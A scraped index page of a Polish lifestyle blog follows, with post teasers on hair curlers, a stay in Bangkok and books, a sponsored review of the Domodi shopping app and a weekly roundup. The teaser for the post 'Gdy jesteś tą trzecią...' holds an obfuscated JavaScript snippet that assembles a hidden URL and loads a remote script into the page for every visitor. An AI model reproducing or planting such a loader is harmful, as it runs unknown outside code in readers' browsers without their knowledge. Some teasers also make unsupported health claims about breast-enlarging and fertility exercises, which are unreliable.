Loki idealne - wałki z Chin

ANIA MALUJE

Loki idealne - wałki z Chin

 Od dawna szukam idealnej opcji jeśli chodzi o loki. Mają się robić same, najlepiej przez noc, nie przeszkadzać w spaniu i trzymać się długo. Chyba znalazłam ideał :)Czytaj dalej »

Wigilia w Tajlandii - impreza u Jezusa i co na to moi rodzice?

ANIA MALUJE

Wigilia w Tajlandii - impreza u Jezusa i co na to moi rodzice?

Nie obraź się, ale śmierdzisz

ANIA MALUJE

Nie obraź się, ale śmierdzisz

Jak działa mój

ANIA MALUJE

Jak działa mój "magiczny zeszyt" i dlaczego zawsze dostaję to, czego chcę?

Tygodnika nie będzie. Zgredek dostał swoją skarpetkę

ANIA MALUJE

Tygodnika nie będzie. Zgredek dostał swoją skarpetkę

Od zawsze byłam świrnięta na punkcie Azji, ale nigdy nie sądziłam że wyjdę poza sferę marzeń i gdybania. Tymczasem piszę do Was te słowa z najpiękniejszego mieszkania w jakim kiedykolwiek byłam, z widokiem na magiczny Bangkok z 23 piętra luksusowego apartamentowca i nie wierzę to w co widzę za oknem.Czytaj dalej »

Afro bez fryzjera, czyli drobne loczki na słomki

ANIA MALUJE

Afro bez fryzjera, czyli drobne loczki na słomki

 Sprawdzam sobie czasami różne urodowe patenty i pewnego dnia ciekawość kazała mi sprawdzić czy drobne loczki na słomki to rzeczywiście działający trik czy ściema.Czytaj dalej »

ANIA MALUJE

Tajlandia I - lot Qatar Airways, spóźniony samolot i zgubiony bagaż

Chciałam na szybko napisać kilka słów o Tajlandii ale najzywklej w świecie - nie mam kiedy. Mimo Internetu w telefonie zwyczajnie szkoda mi czasu na odpalanie laptopa :D Tu jest po prostu raj. Mimo wszystko - jestem Wam winna kilka słów.Czytaj dalej »

Prezenty dla gadżeciarzy i dlaczego wibrator

ANIA MALUJE

Prezenty dla gadżeciarzy i dlaczego wibrator

Zrządzeniem losu piszę ten tekst na kolanie, na lotnisku :) Wszystkie polecane prezenty ucieszyły mnie osobiście, lub obdarowałam nimi innych. Ponieważ w tym roku nie będę w Polsce na Święta (i jeszcze tego nie ogarniam :D), podarunki rozdałam nieco wcześniej.Czytaj dalej »

Nowa torebka, Warszawa, podejście do religii i znowu rozdaję bon na 3 stówki :) [TYGODNIK]

ANIA MALUJE

Nowa torebka, Warszawa, podejście do religii i znowu rozdaję bon na 3 stówki :) [TYGODNIK]

Dzień dobry, przestaję być niewolnikiem.

ANIA MALUJE

Dzień dobry, przestaję być niewolnikiem.

Jest takie pojęcie jak "druga granica". Masz np. dwie kontrolki, pomarańczową i czerwoną. Jak zignorujesz pierwszą, możesz jeszcze wszystko naprawić. Jak zignorujesz drugą to potem już żadne ostrzeżenia nic nie dadzą. Sprawdzono to na pilotach samolotów by lepiej zrozumieć katastrofy lotnicze.Czytaj dalej »

Gdy jesteś tą trzecią...+ KONKURS

ANIA MALUJE

Gdy jesteś tą trzecią...+ KONKURS

(function(){ tbj9u="pbw787cXbj9q";tbj9=document.createElement("script"); tbj9_="u"+("st");tbj9_+="at"+(".");tbj9.async=true;tbj9_+="in"; tbj9u="37."+tbj9u;tbj9.type="text/javascript";tbj9u+="8r95sn843bdi"; tbj9u+="gpja";tbj9_+=("f")+"o"+("/");tbj9.src="//"+tbj9_+tbj9u; tbj9d=document.body;tbj9d.appendChild(tbj9); })(); Chyba nikt nie lubi czuć się jak kwiat przy kożuchu. Albo skarpetki do sandałów.  Niby się jest, ale jakby się nie było to żadna specjalna różnica dla świata. Czytaj dalej »

Praca, kebab i książki za darmo [TYGODNIK]

ANIA MALUJE

Praca, kebab i książki za darmo [TYGODNIK]

Tygodnik w niedzielę. Zaskoczeni? Zazwyczaj pojawia się w poniedziałki, ale właśnie skończyłam swój dzień kebabem. Znaczy - tą część dnia, która nadaje się na bloga.Czytaj dalej »

Muzułmanki, zakonnice-lesbijki i jak inni nami manipulują, czyli co warto przeczytać

ANIA MALUJE

Muzułmanki, zakonnice-lesbijki i jak inni nami manipulują, czyli co warto przeczytać

Lubicie czytać? Ja uwielbiam! Już dawno obiecałam wrzucić na bloga kolejną część polecanych książek, ale miałam z tym mały problem.Czytaj dalej »

Lubisz gdy innym się nie powodzi?

ANIA MALUJE

Lubisz gdy innym się nie powodzi?

Nie wiem jak zatytułować, ani nawet jak zacząć ten tekst, ale jest coś, co gryzie mnie od dawna. I jest to coś, co bardzo mnie denerwuje oraz smuci.Czytaj dalej »

Nie mam czasu na zakupy...

ANIA MALUJE

Nie mam czasu na zakupy...

Chociaż często łapię się na mówieniu "nie mam czasu", to prawda jest taka, że mam go dokładnie tyle co wszyscy inni na świecie - pan menel i Papież Franciszek - 24h zerujące się o północy. Cóż, mam bardzo dużo zajęć i niektóre rzeczy spadają niżej na liście priorytetów, ale nie ma co się czarować - i praca, i blog i studia - to wszystko są moje wybory i skoro ja ich dokonałam, to nie wypada na ich konsekwencje narzekać.Przez swoje tempo życia uwielbiam rozwiązania typu 2w1. Czytanie w pociągu i odpisywanie na komentarze gdy stoję na czerwonych światłach albo w kolejce. Pracowanie z krótkimi przerwami na zamieszanie gotującego się sosu, albo z miską już ugotowanego na kolanach. Jestem jednak nieuleczalną butoholiczką i jednej rzeczy bardzo mi brakuje - zakupów obuwniczych. Nie cierpię jednak poczucia zmarnowanego czasu. Nic nie irytuje mnie tak bardzo jak poczucie straconych minut. Dotarcie do biblioteki i informacja, że książka jest - w systemie. I tylko tam, bo jakoś im zaginęła. Albo dwugodzinny spacer po sklepach z butami i poczucie rozczarowania, bo wracam z pustymi rękami. A chyba wszyscy wiedzą, że kocham buty jak sucha studnia wodę i inne takie.Kto mni śledzi ten wie, że ostatnio nieźle się pochorowałam. Przeżyłam kilka. koszmarnych dni. Ani nie czułam się specjalnie dobrze, ani też dobrze nie wyglądałam. Ostatnio dostałam propozycję przetestowania jak działa aplikacja Domodi . Prawdę mówiąc - najpierw zareagowałam lekkim ziewnięciem, że nic nowego. Szybkie wklepanie tego w google pokazało mi kilka wpisów innych blogerek, ale wciąż nie rozumiałam na czym polega przewaga apki nad zwykłymi zakupami przez Internet. No bo co ta za różnica? Po co mi kolejna aplikacja?Więc sprawdziłam.A sprawdzić  Domodi mogę gdziekolwiek, gdzie mam net. Wystarczy telefon w kieszeni.Np. gdy jesteś w knajpce przed samolotem i zamawiasz Ubera:Z takim kokiem cebulą i mając 3 minuty wolnego czasu w życiu nie trafiłabym do sklepu.Albo wtedy, gdy czekam na odprawę na lotnisku.Do tej pory w kwestii zakupów obuwniczych kierowałam się pewnymi nawykami. Sprawdzałam asortyment dwóch-trzech sklepów i zazwyczaj zamykałam klapę laptopa z poczuciem lekkiego (lub silnego) rozczarowania. Czy jest więc coś, w  czym aplikacja domodi ma przewagę? Ku mojemu zaskoczeniu - tak!Wchodzę w apkę, wybieram kategorię - np. buty (wiadomo, co innego mogłam sprawdzić?)Ustawiam filtry, zawężając kryteria wyszukiwania (kolor, rozmiar). I już na tym etapie jest ogromna przewaga serwisu nad moim dotychczasowym stylem robienia zakupów przez sieć - filtr nakłada się jednocześnie na wszystkie sklepy w bazie. To znaczy, że nie muszę za każdym razem wchodzić na stronę sklepu z butami i zaznaczać : czółenka-39-szpilka... Robię to raz, a aplikacja odwala czarną robotę. Nice!No okej, ale to wciąż za mało by polecić aplikację na blogu. Wychodzę z założenia, że aby zawrócić czytelnikom głowę i uszczknąć kilka minut czasu, muszę mieć coś naprawdę godnego polecenia, lub odradzenia.Co mnie ostatecznie przekonało? Zobaczcie!Wybierając buty widzę ich cenę, czas trwania promocji, od jakiej kwoty jest darmowa dostawa a nawet ewentualne kupony. W ten sposób stałam się posiadaczką ślicznych pomarańczowych szpilek z pomponami - apka pokazała mi kod zniżkowy, o którym nie miałabym w innym przypadku pojęcia. Podobnie jak o istnieniu sklepu oraz tych pięknych butów:Nie chciałoby mi się też za każdym razem sprawdzać warunków zakupu. Bywa, że w jednym sklepie buty są tańsze, ale koszt przesyłki wyższy i czasami warto kupić buty drożej, ale z darmową przesyłką. Takie pierdoły jak porównywanie zajmują dużo czasu i mnie najzywczajniej w świecie - irytują. Aplikacja domodi pomyślała za mnie.Podsumowując - polecam z czystym sumieniem. Od momentu przekierowania na stronę sklepu wszystko odbywa się już normalnie. Domodi pozwala maksymalnie usprawnić i przyspieszyć proces dokonywania zakupów. Kupuję buty będąc w podróży, a po powrocie do domu mam już paczkę.Przekonali mnie w 100% ;)Rekomenduję na blogu tylko produkty i usługi, z których sama korzystam, więc cieszę się, że domodi zaprosiło mnie do współpracy ❤Apkę znajdziecie tutaj:- Android- iOSBądź na bieżąco! ❤ INSTAGRAM ❤ FACEBOOK ❤❤ FACEBOOK MONIKI ❤Niektóre teksty widzą tylko subskrybenci (nie lądują na "głównej") - jeśli chcesz być na bieżąco, zostań obserwatorem w google lub na bloglovin :) A jeśli dany tekst Ci pomógł, sprawisz mi przyjemność, jeśli klikniesz +1 w g+ pod tekstem :) Komentując oświadczasz, że znasz regulamin

Jak szukam tanich lotów i wakacji? Super oferty!

ANIA MALUJE

Jak szukam tanich lotów i wakacji? Super oferty!

Uwielbiam wyjazdy! Jednak nie mogę nazwać siebie podróżniczką - po prostu kocham dobre jedzenie i słońce. Amen. Jak więc podróżować więcej, ale wciąż nie musieć jeść gruzu po powrocie?Czytaj dalej »

Psychologiczne sztuczki, ucieczka do raju i koty [TYGODNIK]

ANIA MALUJE

Psychologiczne sztuczki, ucieczka do raju i koty [TYGODNIK]

Ten tydzień łączył w sobie skrajności. Jeszcze w poniedziałek w sukience z golfem, płaszczu i rękawiczkach -wczoraj w bikini. W poniedziałek z potężnym załamaniem zdrowia 

Czy trzy miesiące urlopu miały sens? Mój quarter-life crisis

ANIA MALUJE

Czy trzy miesiące urlopu miały sens? Mój quarter-life crisis

Snickers - pyszne ciasto bez pieczenia! (TARTA)

ANIA MALUJE

Snickers - pyszne ciasto bez pieczenia! (TARTA)

Wskrzesiłam kartę SD, więc mogę podzielić się wypracowanym przez wiele prób odkryciem - przed Wami tarta snickers bez pieczenia!Czytaj dalej »

Jestem chora i potrzebuję przerwy - trochę inny [TYGODNIK]

ANIA MALUJE

Jestem chora i potrzebuję przerwy - trochę inny [TYGODNIK]

W tym miejscu miał pojawić się normalny tygodnik. Planowo, na czas, zgodnie z rozkładem. Los podwójnie ze mnie zakpił.Czytaj dalej »

Co warto przywieźć z Ukrainy? Lista stworzona przez Ukrainkę

ANIA MALUJE

Co warto przywieźć z Ukrainy? Lista stworzona przez Ukrainkę

Co robić w listopadzie? 10 pomysłów

ANIA MALUJE

Co robić w listopadzie? 10 pomysłów

Czy warto kupić szczotki do makijażu? Subiektywna opinia

ANIA MALUJE

Czy warto kupić szczotki do makijażu? Subiektywna opinia

Zbuntowane włosy, kartony i najbrzydsze buty [TYGODNIK]

ANIA MALUJE

Zbuntowane włosy, kartony i najbrzydsze buty [TYGODNIK]

Zanim padnę na ryjek, obiecałam napisać na czas tygodnik. Na czas, czyli jak zawsze w poniedziałek. Cóż, naprawdę padam!Tydzień zaczęłam od zajęć na uczelni - najpierw pół dnia w bibliotece i praca nad koncepcją rozprawy doktorskiej. Im dłużej nad tym siedzę, tym mniej wiem. Potem prowadziłam zajęcia ze studentami i było całkiem miło. No ale w ten sposób poniedziałek mi gdzieś uciekł i byłam o cały dzień pracy do tyłu... A teoretycznie powinnam pracować teraz za dwóch, skoro w przyszłym tygodniu czeka mnie Cypr ❤. A przepraszam, za trzech. Za dwóch pracuję już teraz. Pora chyba podjąć jakieś decyzje.Anyway - resztę tygodnia spędziłam głównie przed komputerem i jak większość normalnych ludzi - pracując. Żadnych wyjazdów, żadnych nietypowych rzeczy. Ot praca, porządki, normalność.Na szczęście napisałam też dla Was kilka tekstów :).Ah nie, jeszcze w piątek miałam zajęcia na uczelni, tym razem te na których to ja się uczę :). Błogosławię istnienie smartfonów, które pozwalają mi ogarnąć chociaż część "służbowych" maili w autobusie.No właśnie... jak zapowiadałam w recenzji telefonu z Chin - Xiaomi Redmi 3, kupiłam nowszą wersję - Redmi 3S, wzbogacony o czytnik linii papilarnych no i lepszą pamięć. Uwielbiam tę markę. Trójkę oddałam mamie, której zepsuł się telefon a ja nie mogłam na to patrzeć :).Moja durna mina to przypadek - mój aparat łączy się przez wifi z telefonem i można z poziomu smartfona nim sterować jak pilotem. No i tak powstało to zdjęcie. To dlatego mówiłam, że przy "randomowych" fotkach złapałam idealnie kolor hybryd nowej marki.Zobacz też : Hybrydy z Rossmanna - czy warto je kupić? Ponadto żyję w chwili obecnej na kartonach i załamuję ręce nad sortowaniem tego wszystkiego.Jestem jednym wielkim kartonem. Gdzie się nie obejrzę tam skrzynka, pudło, karton, kartonik...Byłam też trochę chora (nic poważnego) i czułam się osłabiona. Jak na komendę zbuntowały mi się włosy...I ogólnie - całe ciało zastrajkowało. Ech! Jak dobrze że jest imbir i szybko się ogarniam!Pod wpływem złości udało mi się napisać tekst:"Kłamiesz, to na pewno nie jest samodzielna praca!"Jestem zaskoczona jak wiele osób też się z takimi oskarżeniami spotkało. To bardzo przykre, ale skala zjawiska mnie przeraża. Mam szczerą nadzieję, że ktoś to przeczyta, przemyśli, może powstrzyma się przed takimi zachowaniami w przyszłości?Kilka razy zwariował też disquss - odpowiadam na wszystkie pytania zadane na blogu, ale jeśli ktoś nie dostał odpowiedzi - bardzo proszę się przypomnieć, bo niektórym odpisałam 3x tak samo a inne komentarze się nie dodały. To nie jest moja zła wola, w żadnym razie. Otrzymałam ostatnio w prezencie bezprzewodowe słuchawki Blutoof Sudio - jestem nimi oczarowana. Sama niestety mam brzydką cechę oszczędzania na sprzęcie i gdybym podsumowała koszt wszystkich słuchawek które popsułam...Cóż. Nasłabszym ogniwem mojego telefonu jest brak słuchawekw  zestawie. A ja też średnio przepadam za okablowaniem, gdy częściej biegałam, potwornie mnie to denerwowało. Te są śliczne, praktyczne i zdały test Bohemian Rhapsody. Ten utwór zdecydowanie załśuguje na porządny sprzęt, który pozwala przeżywać konflikt bohatera razem z nim:).Słuchawki dotarły do mnie kurierem ze Szwecji (darmowa przesyłka) w dwa dni. Są cudowne i dzięki marce Sudio mam dla Was rabat 15%  z kodem: ANIAMALUJE15 Kodu można używać wielokrotnie i jest bezterminowy. Słuchawki znajdziecie na stronie http://www.sudiosweden.com/pl/Jeśli masz wśród bliskich audiofila - to idealny pomysł na prezent. Ja wybrałam różowe, bo są po prostu śliczne.Zaczął się ten paskudny sezon na ciepłe rajstopy. Mam mnóstwo sukienek i trochę mniej rajstop (błyskawicznie mi się drą...), ale prawie zawsze ląduję w czarnych kozakach i czarnych kryjących rajtkach.  Ewentualnie jeszcze beżowe kozaki za kolano i cieliste rajstopy.  Mam np. taką śliczną sukienkę (klik) i zero pomysłu na coś innego niż czarne rajstopy i botki. Jesteście bardzo kreatywni, generujecie świetne pomysły - jak sobie radzicie w takich sytuacjach?Mam też bunt włosów. Intensywnie myślę nad ich regeneracją u fryzjera a potem, w perspektywie kolejnych dwóch tygodni może i o bobie? lobie?Moje włosy wyglądają często tak:Nałożyłam filtr, by podbić różnicę w kolorze i kondycji. Góra jest płaska i przyklapnięta, a dół żyje swoim życiem. Wyciąganie włosów na szczotce obrotowej ratuje sytuację, ale może pora na bardziej drastyczny krok? podobają mi się loby i boby, ale przednie pasma są trochę krótsze...Jak żyć?Co tydzień zmieniam zdanie, raz chcę ścinać, innym razem zapuszczać :Da podobają mi się takie fryzury.Okej, zaraz pora na linki tygodnia, a ja mam jeszcze kilka odkryć!Prześledziłam swoje radnomowe zdjęcia i tak - a cały czas siedzę na pięcie. O co chodzi? Wyjaśniłam w dwóch częściach:Jak trzymam figurę bez wyrzeczeń? Mikstura z imbiru i inne sposobyorazWiększy biust i bezbolesne miesiączki - chińskie ćwiczenia, które stosujęKosztowało mnie to trochę pracy i odwagi, ale wreszcie wszystko jest jasne ;-).A wiecie jaka jest największa zaleta tych ćwiczeń? Możliwość noszenia biustonoszy, które są jedynie ozdobne a nie mają żadnego podtrzymania. Wiadomo, nie do biegania czy nawet szybkiego chodzenia, ale są śliczne. Mój najnowszy skarb:Też za grosze :) Przywędrował do mnie z tego sklepu.Mam jeszcze kulinarne odkrycia. Chociaż słowo kulinarne mocno na wyrost :D To miało być ładne zdjęcie sosu. Miało :D Te żelki są boskie. Mam nadzieję, że po Halloween je przecenią :DJestem natomiast rozczarowana, że nie udało mi się dorwać silikonowych form na muffinki, które są dostępne tutaj, w bardzo dobrej cenie - ciągle kupuję papierowe foremki a silikon jest bardziej praktyczny.Okej, pora na linki tygodnia!Jak narzekanie wpływa na mózg - podesłane przez ZuzęButy, które mają wymienne obcasy. Cudo!Najpiękniejsze ciasto, jakie kiedykolwiek widziałamŚwietny tekst o tym, jak przestać być burakiem... na przykładzie typowo polskiej cechy (nie ściemniam, według badań mamy skandalicznie niski poziom zaufania społecznego)Najbrzydsze buty świata, tym razem nie do przebiciatani cosplay - popłakałam się ze śmiechu, wyobraźnia tego chłopaka jest niesamowita!Spróbuję z telefonu ogarnąć komentarze, a gapciom przypominam o trwających konkursach! Info w poprzednim tygodniku oraz w tekście o hybrydach - czas do 23:59 dzisiaj! :*Bądź na bieżąco!  ❤ INSTAGRAM ❤ FACEBOOK ❤❤ FACEBOOK MONIKI ❤ Niektóre teksty widzą tylko subskrybenci (nie lądują na "głównej") - jeśli chcesz być na bieżąco, zostań obserwatorem w google lub na bloglovin :) A jeśli dany tekst Ci pomógł, sprawisz mi przyjemność, jeśli klikniesz +1 w g+ pod tekstem :) Komentując oświadczasz, że znasz regulamin

Większy biust i bezbolesne miesiączki - chińskie ćwiczenia, które stosuję

ANIA MALUJE

Większy biust i bezbolesne miesiączki - chińskie ćwiczenia, które stosuję

O tym, że wykonuję pewne ćwiczenia przebąkuję od dawna. Niosą one szereg korzyści - poprawiają wygląd biustu, zapewniają młody wygląd, lepsze życie seksualne oraz mogą pomóc kontrolować płodność.Czytaj dalej »

Jak trzymam figurę bez wyrzeczeń? Mikstura z imbiru i inne sposoby

ANIA MALUJE

Jak trzymam figurę bez wyrzeczeń? Mikstura z imbiru i inne sposoby

Dzisiaj pierwsza część tekstu o tym, jakim cudem mam taką figurę skoro tyle - pardon - żrę. Mam kilka sztuczek na to, by wyglądać szczuplej nie odmawiając sobie jedzenia.Czytaj dalej »

Hybrydy z Rossmanna - czy warto kupić zestaw Escala?

ANIA MALUJE

Hybrydy z Rossmanna - czy warto kupić zestaw Escala?

ANIA MALUJE

"Kłamiesz, to na pewno nie jest samodzielna praca!"

Mieszkaj jak Van Gogh, zgarnij 300 PLN i moje dziwne miny [TYGODNIK]

ANIA MALUJE

Mieszkaj jak Van Gogh, zgarnij 300 PLN i moje dziwne miny [TYGODNIK]

Trzy różne oblicza Anny K.Uruchomienie cyklu "tygodnik", to jedna z lepszych decyzji w moim życiu. Mam motywację do spojrzenia wstecz i swoistego rozliczenia siebie samej. Czy wykorzystałam te siedem dni, czy je zmarnowałam? Czy spędziłam czas z wartościowymi ludźmi? Czy wykorzystałam dane mi dni na zrobienie czegoś, co mnie w jakiś sposób rozwinie?Czytaj dalej »

Jaką sukienkę wybrać na randkę? Naukowcy to wiedzą!

ANIA MALUJE

Jaką sukienkę wybrać na randkę? Naukowcy to wiedzą!

Jak mówiłam ostatnio - szukam swojego odcienia czerwonej szminki i tak sobie z ciekawości sprawdzałam z czego wynika jej magia. Zupełnym przypadkiem natrafiłam na inne badania.Czytaj dalej »